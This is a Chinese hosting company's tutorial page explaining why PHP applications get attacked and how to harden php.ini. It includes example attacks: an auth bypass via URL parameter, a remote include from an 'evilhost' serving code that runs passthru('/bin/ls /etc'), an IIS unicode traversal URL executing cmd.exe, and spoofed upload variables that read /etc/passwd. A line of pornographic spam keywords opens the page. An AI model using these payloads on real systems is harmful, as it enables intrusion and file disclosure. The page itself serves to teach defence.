亚洲韩日午夜视频,欧美日韩在线精品一区二区三区,韩国超清无码一区二区三区,亚洲国产成人影院播放,久草新在线,在线看片AV色

您好,歡迎來到思海網(wǎng)絡(luò),我們將竭誠為您提供優(yōu)質(zhì)的服務(wù)! 誠征網(wǎng)絡(luò)推廣 | 網(wǎng)站備案 | 幫助中心 | 軟件下載 | 購買流程 | 付款方式 | 聯(lián)系我們 [ 會員登錄/注冊 ]
促銷推廣
客服中心
業(yè)務(wù)咨詢
有事點擊這里…  531199185
有事點擊這里…  61352289
點擊這里給我發(fā)消息  81721488
有事點擊這里…  376585780
有事點擊這里…  872642803
有事點擊這里…  459248018
有事點擊這里…  61352288
有事點擊這里…  380791050
技術(shù)支持
有事點擊這里…  714236853
有事點擊這里…  719304487
有事點擊這里…  1208894568
有事點擊這里…  61352289
在線客服
有事點擊這里…  531199185
有事點擊這里…  61352288
有事點擊這里…  983054746
有事點擊這里…  893984210
當(dāng)前位置:首頁 >> 技術(shù)文章 >> 文章瀏覽
技術(shù)文章

PHP常見漏洞被攻擊原因分析

添加時間:2014-7-18 17:36:35  添加: 思海網(wǎng)絡(luò) 

如何通過全局變量進(jìn)行攻擊:

PHP中的變量不需要事先聲明,它們會在第一次使用時自動創(chuàng)建,它們的類型根據(jù)上下文環(huán)境自動確定。從程序員的角度來看,這無疑是一種極其方便的處理方法。一旦一個變量被創(chuàng)建了,就可以在程序中的任何地方使用。這個特點導(dǎo)致的結(jié)果就是程序員很少初始化變量。

很顯然,基于PHP的應(yīng)用程序的主函數(shù)一般都是接受用戶的輸入(主要是表單變量,上載文件和Cookie等),然后對輸入數(shù)據(jù)進(jìn)行處理,然后把結(jié)果返回到客戶端瀏覽器。為了使PHP代碼訪問用戶的輸入盡可能容易,實際上PHP是把這些輸入數(shù)據(jù)看作全局變量來處理的。

例如:

程序代碼

以下為引用的內(nèi)容:

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>

這會顯示一個文本框和提交按鈕。當(dāng)用戶點擊提交按鈕時,"test.php"會處理用戶的輸入,當(dāng)"test.php"運行時,"$hello"會 包含用戶在文本框輸入的數(shù)據(jù)。從這里我們應(yīng)該看出,攻擊者可以按照自己的意愿創(chuàng)建任意的全局變量。如果攻擊者不是通過表單輸入來調(diào) 用"test.php",而是直接在瀏覽器地址欄輸入http://server/test.php?hello=hi&setup=no,那 么,不止是"$hello"被創(chuàng)建,"$setup"也被創(chuàng)建了。

下面的用戶認(rèn)證代碼暴露了PHP的全局變量所導(dǎo)致的安全問題:

程序代碼

以下為引用的內(nèi)容:

<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>

上面的代碼首先檢查用戶的密碼是否為"hello",如果匹配的話,設(shè)置"$auth"為"1",即通過認(rèn)證。之后如果"$suth"為"1"的話,就會顯示一些重要信息。

這段代碼假定"$auth"在沒有設(shè)置值的時候是空的,但是攻擊者可以創(chuàng)建任何全局變量并賦值,通過類似"http://server/test.php?auth=1"的方法,我們完全可以欺騙這段代碼,使它相信我們是已經(jīng)認(rèn)證過的。

因此,為了提高PHP程序的安全性,我們不能相信任何沒有明確定義的變量。如果程序中的變量很多的話,這可是一項非常艱巨的任務(wù)。

一種常用的保護(hù)方式就是檢查數(shù)組HTTP_GET[]或POST_VARS[]中的變量,這依賴于我們的提交方式(GET或POST)。當(dāng)PHP配置為打開"track_vars"選項的話(這是缺省值),用戶提交的變量就可以在全局變量和上面提到的數(shù)組中獲得。

但是值得說明的是,PHP有四個不同的數(shù)組變量用來處理用戶的輸入。HTTP_GET_VARS數(shù)組用來處理GET方式提交的變 量,HTTP_POST_VARS數(shù)組用于處理POST方式提交的變量;HTTP_COOKIE_VARS數(shù)組用于處理作為cookie頭提交的變量,而 對于HTTP_POST_FILES數(shù)組(比較新的PHP才提供),則完全是用戶用來提交變量的一種可選方式。用戶的一個請求可以很容易的把變量存在這四 個數(shù)組中,因此一個安全的PHP程序應(yīng)該檢查這四個數(shù)組。 如何通過遠(yuǎn)程文件進(jìn)行攻擊?

PHP是一種具有豐富特性的語言,提供了大量的函數(shù),使編程者很容易實現(xiàn)特定功能。但是從安全的角度來看,功能越多,要保證它的安全性就越難,遠(yuǎn)程文件就佐證這個問題的一個很好例子:

程序代碼

以下為引用的內(nèi)容:

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
\n");
?>

上面的腳本試圖打開文件"$filename",如果失敗就顯示錯誤信息。很明顯,如果我們能夠指定"$filename"的話,就能利用這個腳本 瀏覽系統(tǒng)中的任何文件。但是,這個腳本還存在一個不太明顯的特性,那就是它可以從任何其它WEB或FTP站點讀取文件。實際上,PHP的大多數(shù)文件處理函 數(shù)對遠(yuǎn)程文件的處理是透明的。

例如:

如果指定"$filename"為 "http://target/s/..%c1%1c../winnt/system32/cmd.exe?/c+dir"

則上面的代碼實際上是利用主機(jī)target上的unicode漏洞,執(zhí)行了dir命令。這使得支持遠(yuǎn)程文件的 include(),require(),include_once()和require_once()在上下文環(huán)境中變得更有趣。這些函數(shù)主要功能是包 含指定文件的內(nèi)容,并且把它們按照PHP代碼解釋,主要是用在庫文件上。

例如:

程序代碼

以下為引用的內(nèi)容:

<?php
include($libdir . "/languages.php");
?> 

上例中"$libdir"一般是一個在執(zhí)行代碼前已經(jīng)設(shè)置好的路徑,如果攻擊者能夠使得"$libdir"沒有被設(shè)置的話,那么他就可以改變這個路 徑。但是攻擊者并不能做任何事情,因為他們只能在他們指定的路徑中訪問文件languages.php(perl中的"Poisonnull byte"攻擊對PHP沒有作用)。但是由于有了對遠(yuǎn)程文件的支持,攻擊者就可以做任何事情。例如,攻擊者可以在某臺服務(wù)器上放一個文件 languages.php,包含如下內(nèi)容:

程序代碼

以下為引用的內(nèi)容:

<?php
passthru("/bin/ls /etc");
?>

然后把"$libdir"設(shè)置為"http://<evilhost>/",這樣我們就可以在目標(biāo)主機(jī)上執(zhí)行上面的攻擊代碼,"/etc"目錄的內(nèi)容將作為結(jié)果返回到客戶的瀏覽器中。

需要注意的是,攻擊代碼是不會在自身所在的服務(wù)器(也就是evilhost)上執(zhí)行執(zhí)行自身PHP程序的,否則,攻擊代碼會攻擊自身所在的服務(wù)器,而不是在目標(biāo)服務(wù)器執(zhí)行。

如何通過文件上載進(jìn)行攻擊?

PHP自動支持基于RFC 1867的文件上載,我們看下面的例子:

程序代碼

以下為引用的內(nèi)容:

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

上面的代碼讓用戶從本地機(jī)器選擇一個文件,當(dāng)點擊提交后,文件就會被上載到服務(wù)器。這顯然是很有用的功能,但是PHP的響應(yīng)方式將使這項功能變得不 安全。當(dāng)PHP第一次接到這種請求,甚至在它開始解析被調(diào)用的PHP代碼之前,它會先接受遠(yuǎn)程用戶的文件,檢查文件的長度是否超 過"$MAX_FILE_SIZE variable"定義的值,如果通過這些測試的話,文件就會被存在本地的一個臨時目錄中。

 因此,攻擊者可以發(fā)送任意文件給運行PHP的主機(jī),在PHP程序還沒有決定是否接受文件上載時,文件已經(jīng)被存在服務(wù)器上了。

讓我們考慮一下處理文件上載的PHP程序,正如我們上面說的,文件被接收并且是存在服務(wù)器上(位置是在配置文件中指定的,一般是/tmp),擴(kuò)展名 一般是隨機(jī)的,類似"phpxXuoXG"的形式。PHP程序需要上載文件的信息以便處理它,這可以通過兩種方式,一種方式是在PHP3中已經(jīng)使用的,另 一種是在我們對以前的方法提出安全公告后引入的。

大多數(shù)PHP程序還是使用老的方式來處理上載文件。PHP設(shè)置了四個全局變量來描述上載文件,比如說上面的例子:

程序代碼

以下為引用的內(nèi)容:

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain") 

然后,PHP程序開始處理根據(jù)"$hello"指定的文件。問題在于"$hello"不一定是一個PHP設(shè)置的變量,任何遠(yuǎn)程用戶都可以指定它。如果我們使用下面的方式:

以下為引用的內(nèi)容:

http://vulnhost/vuln.php?hello=/ ... e=10240&hello_type=
text/plain&hello_name=hello.txt 

就導(dǎo)致了下面的PHP全局變量(當(dāng)然POST方式也可以(甚至是Cookie)):

程序代碼

以下為引用的內(nèi)容:

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt" 

上面的表單數(shù)據(jù)正好滿足了PHP程序所期望的變量,但是這時PHP程序不再處理本應(yīng)在上載者本機(jī)上的上載文件,而是處理服務(wù)器上"/etc/passwd"(通常會導(dǎo)致內(nèi)容暴露)文件。這種攻擊可以用于暴露任何敏感文件的內(nèi)容。

新版本的PHP使用HTTP_POST_FILES[]來決定上載文件,同時也提供了很多函數(shù)來解決這個問題,例如有一個函數(shù)用來判斷某個文件是不是實際上載的文件。但是實際上肯定有很多PHP程序仍然使用舊的方法,所以也很容易受到這種攻擊。

作為文件上載的攻擊方法的一個變種,我們看一下下面的一段代碼:

程序代碼

以下為引用的內(nèi)容:

<?php
if (file_exists($theme)) // Checks the file exists on the local system (noremote files)
include("$theme");
?>

如果攻擊者可以控制"$theme"的話,很顯然它可以利用"$theme"來讀取遠(yuǎn)程系統(tǒng)上的任何文件。攻擊者的最終目標(biāo)是在遠(yuǎn)程服務(wù)器上執(zhí)行任 意指令,但是他無法使用遠(yuǎn)程文件,因此,他必須得在遠(yuǎn)程服務(wù)器上創(chuàng)建一個PHP文件。這乍看起來好象是不可能的,但是文件上載幫了我們這個忙,如果攻擊者 先在本地機(jī)器上創(chuàng)建一個包含PHP代碼的文件,然后創(chuàng)建一個包含名為"theme"的文件域的表單,最后用這個表單通過文件上載把創(chuàng)建的包含PHP代碼的 文件提交給上面的代碼,PHP就會把攻擊者提交的文件保存起來,并把"$theme"的值設(shè)置為攻擊者提交的文件,這樣file_exists()函數(shù)會 檢查通過,攻擊者的代碼也將執(zhí)行。
 
獲得執(zhí)行任意指令的能力之后,攻擊者顯然想提升權(quán)限或者是擴(kuò)大戰(zhàn)果,而這又需要一些服務(wù)器上沒有的工 具集,而文件上載又一次幫了攻擊者的忙。攻擊者可以使用文件上載功能上載工具,把她們存在服務(wù)器上,然后利用他們執(zhí)行指令的能力,使用chmod()改變 文件的權(quán)限,然后執(zhí)行。 例如:攻擊者可以繞過防火墻或IDS上載一個本地root攻擊程序,然后執(zhí)行,這樣就獲得了root權(quán)限。

如何通過庫文件進(jìn)行攻擊?

正如我們前面討論的那樣,include()和require()主要是為了支持代碼庫,因為我們一般是把一些經(jīng)常使用的函數(shù)放到一個獨立的文件中,這個獨立的文件就是代碼庫,當(dāng)需要使用其中的函數(shù)時,我們只要把這個代碼庫包含到當(dāng)前的文件中就可以了。

最初,人們開發(fā)和發(fā)布PHP程序的時候,為了區(qū)別代碼庫和主程序代碼,一般是為代碼庫文件設(shè)置一個".inc"的擴(kuò)展名,但是他們很快發(fā)現(xiàn)這是一個 錯誤,因為這樣的文件無法被PHP解釋器正確解析為PHP代碼。如果我們直接請求服務(wù)器上的這種文件時,我們就會得到該文件的源代碼,這是因為當(dāng)把PHP 作為Apache的模塊使用時,PHP解釋器是根據(jù)文件的擴(kuò)展名來決定是否解析為PHP代碼的。擴(kuò)展名是站點管理員指定的,一般是".php", ".php3"和".php4"。如果重要的配置數(shù)據(jù)被包含在沒有合適的擴(kuò)展名的PHP文件中,那么遠(yuǎn)程攻擊者很容易得到這些信息。

最簡單的解決方法就是:給每個文件都指定一個PHP文件的擴(kuò)展名,這樣可以很好的防止泄露源代碼的問題,但是又產(chǎn)生了新的問題,通過請求這個文件,攻擊者可能使本該在上下文環(huán)境中運行的代碼獨立運行,這可能導(dǎo)致前面討論的全部攻擊。

下面是一個很明顯的例子:

<
In main.php:

程序代碼

以下為引用的內(nèi)容:

<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?> 

In libdir/loadlanguage.php:
<?php
...
include("$langDir/$userLang");
?>


當(dāng)"libdir/loadlanguage.php" 被"main.php"調(diào)用時是相當(dāng)安全的,但是因為"libdir/loadlanguage"具有".php"的擴(kuò)展名,因此遠(yuǎn)程攻擊者可以直接請求 這個文件,并且可以任意指定"$langDir"和"$userLang"的值。

如何通過Session文件進(jìn)行攻擊?

PHP 4或更新的版本提供了對sessions的支持,它的主要作用是在PHP程序中保存頁與頁之間的狀態(tài)信息。例如,當(dāng)一個用戶登陸進(jìn)入網(wǎng)站,他登陸了的這個 事實以及誰登陸進(jìn)入這個網(wǎng)站的相關(guān)信息都將被保存在session中,當(dāng)他在網(wǎng)站中到處瀏覽時,所有的PHP代碼都可以獲得這些狀態(tài)信息。

事實上,當(dāng)一個session啟動時(實際上是在配置文件中設(shè)置為在第一次請求時自動啟動),就會生成一個隨機(jī)的"session id",如果遠(yuǎn)程瀏覽器總是在發(fā)送請求時提交這個"session id"的話,session就會一直保持。這通過Cookie很容易實現(xiàn),也可以通過在每頁提交一個表單變量(包含"session id")來實現(xiàn)。PHP程序可以用session注冊一個特殊的變量,它的值會在每個PHP腳本結(jié)束后存在session文件中,也會在每個PHP腳本開 始前加載到變量中。下面是一個簡單的例子:

程序代碼

以下為引用的內(nèi)容:

<?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session variable
?> 

新版本的PHP都會自動把"$session_auth"的值設(shè)置為"shaun",如果它們被修改的話,以后的腳本都會自動接受修改后的值,這對無狀態(tài)的Web來說的確是種很不錯的工具,但是我們也應(yīng)該小心。

一個很明顯的問題就是確保變量的確來自session,例如,給定上面的代碼,如果后續(xù)的腳本是下面這樣的話:

以下為引用的內(nèi)容:

<?php
if (!empty($session_auth))
// Grant access to site here
?> 

上面的代碼假定如果"$session_auth"被賦值的話,就是從session,而不是從用戶輸入來賦值的,如果攻擊者通過表單輸入來賦值的 話,他就可以獲得對站點的訪問權(quán)。注意攻擊者必須在session注冊該變量之前使用這種攻擊方法,一旦變量被放進(jìn)了session,就會覆蓋任何表單輸 入。

Session數(shù)據(jù)一般是保存在文件中(位置是可配置的,一般是"/tmp"),文件名一般是類似"sess_<session id>"的形式,這個文件包含變量名稱,變量類型,變量值和一些其它的數(shù)據(jù)。在多主機(jī)系統(tǒng)中,因為文件是以運行Web服務(wù)器的用戶身份(一般是 nobody)保存的,因此惡意的站點擁有者就可以通過創(chuàng)建一個session文件來獲得對其它站點的訪問,甚至可以檢查session文件中的敏感信 息。

Session機(jī)制也為攻擊者把自己的輸入保存在遠(yuǎn)程系統(tǒng)的文件中提供了另一個方便。對于上面的例子來說,攻擊者需要在遠(yuǎn)程系統(tǒng)放置一個包含PHP 代碼的文件,如果不能利用文件上載做到的話,他通常會利用session為一個變量按照自己的意愿賦一個值,然后猜測session文件的位置,而他知道 文件名是"php<session id>",所以只需猜測目錄,而目錄一般就是"/tmp"。

另外,攻擊者可以任意指定"session id"(例如"hello"),然后用這個"session id"創(chuàng)建一個session文件(例如"/tmp/sess_hello"),但是"session id"只能是字母和數(shù)字組合。

如何通過數(shù)據(jù)類型進(jìn)行攻擊?

PHP具有比較松散的數(shù)據(jù)類型,變量的類型依賴于它們所處的上下文環(huán)境。例如:"$hello"開始是字符串變量,值為"",但是在求值時,就變成 了整形變量"0",這有時可能會導(dǎo)致一些意想不到的結(jié)果。如果"$hello"的值為"000"還是為"0"是不同的,empty()返回的結(jié)果也不會為 真。

PHP中的數(shù)組是關(guān)聯(lián)數(shù)組,也就是說,數(shù)組的索引是字符串型的。這意味著"$hello["000"]"和"$hello[0]"也是不同的。

開發(fā)程序的時候應(yīng)該仔細(xì)地考慮上面的問題,例如,我們不應(yīng)該在一個地方測試某個變量是否為"0",而在另外的地方使用empty()來驗證。

如何通過容易出錯的函數(shù)進(jìn)行攻擊?下面是一份比較詳細(xì)的容易出錯的函數(shù)列表:

<PHP代碼執(zhí)行>

require():讀取指定文件的內(nèi)容并且作為PHP代碼解釋
include():同上
eval():把給定的字符串作為PHP代碼執(zhí)行
preg_replace():當(dāng)與"/e"開關(guān)一起使用時,替換字符串將被解釋為PHP代碼 

<命令執(zhí)行>

exec():執(zhí)行指定的命令,返回執(zhí)行結(jié)果的最后一行

passthru():執(zhí)行指定命令,返回所有結(jié)果到客戶瀏覽器

``:執(zhí)行指定命令,返回所有結(jié)果到一個數(shù)組

system():同passthru(),但是不處理二進(jìn)制數(shù)據(jù)

popen():執(zhí)行指定的命令,把輸入或輸出連接到PHP文件描述符 

<文件泄露>

fopen():打開文件,并對應(yīng)一個PHP文件描述符

readfile():讀取文件的內(nèi)容,然后輸出到客戶瀏覽器

file():把整個文件內(nèi)容讀到一個數(shù)組中 

如何增強PHP的安全性?

我們在上面介紹的所有攻擊對于缺省安裝的PHP4都可以很好的實現(xiàn),但是PHP的配置非常靈活,通過配置一些PHP選項,我們完全可能抵抗其中的一些攻擊。下面我們按照實現(xiàn)的難度對一些配置進(jìn)行了分類:

以下為引用的內(nèi)容:

*低難度
**中低難度
***中高難度
****高難度

如果你使用了PHP提供的所有選項的話,那么你的PHP將是很安全的,即使是第三方的代碼也是如此,因為其中很多功能已經(jīng)不能使用。

**** 設(shè)置"register_globals"為"off"
這個選項會禁止PHP為用戶輸入創(chuàng)建全局變量,也就是說,如果用戶提交 表單變量"hello",PHP不會創(chuàng)建"$ hello",而只會創(chuàng)建"HTTP_GET/POST_VARS['hello']"。這是PHP中一個極其重要的選項,關(guān)閉這個選項,會給編程帶來很 大的不便。

*** 設(shè)置"safe_mode"為"on"

打開這個選項,會增加如下限制:

1. 限制哪個命令可以被執(zhí)行

2. 限制哪個函數(shù)可以被使用

3. 基于腳本所有權(quán)和目標(biāo)文件所有權(quán)的文件訪問限制

4. 禁止文件上載功能

這對于ISP來說是一個"偉大"的選項,同時它也能極大地改進(jìn)PHP的安全性。

** 設(shè)置"open_basedir"

這個選項可以禁止指定目錄之外的文件操作,有效地消除了本地文件或者是遠(yuǎn)程文件被include()的攻擊,但是仍需要注意文件上載和session文件的攻擊。

** 設(shè)置"display_errors"為"off",設(shè)置"log_errors"為"on"

這個選項禁止把錯誤信息顯示在網(wǎng)頁中,而是記錄到日志文件中,這可以有效的抵制攻擊者對目標(biāo)腳本中函數(shù)的探測。

* 設(shè)置"allow_url_fopen"為"off"

這個選項可以禁止遠(yuǎn)程文件功能。

關(guān)鍵字:PHP、漏洞、數(shù)據(jù)

分享到:

頂部 】 【 關(guān)閉
版權(quán)所有:佛山思海電腦網(wǎng)絡(luò)有限公司 ©1998-2024 All Rights Reserved.
聯(lián)系電話:(0757)22630313、22633833
中華人民共和國增值電信業(yè)務(wù)經(jīng)營許可證: 粵B1.B2-20030321 備案號:粵B2-20030321-1
網(wǎng)站公安備案編號:44060602000007 交互式欄目專項備案編號:200303DD003  
察察 工商 網(wǎng)安 舉報有獎  警警  手機(jī)打開網(wǎng)站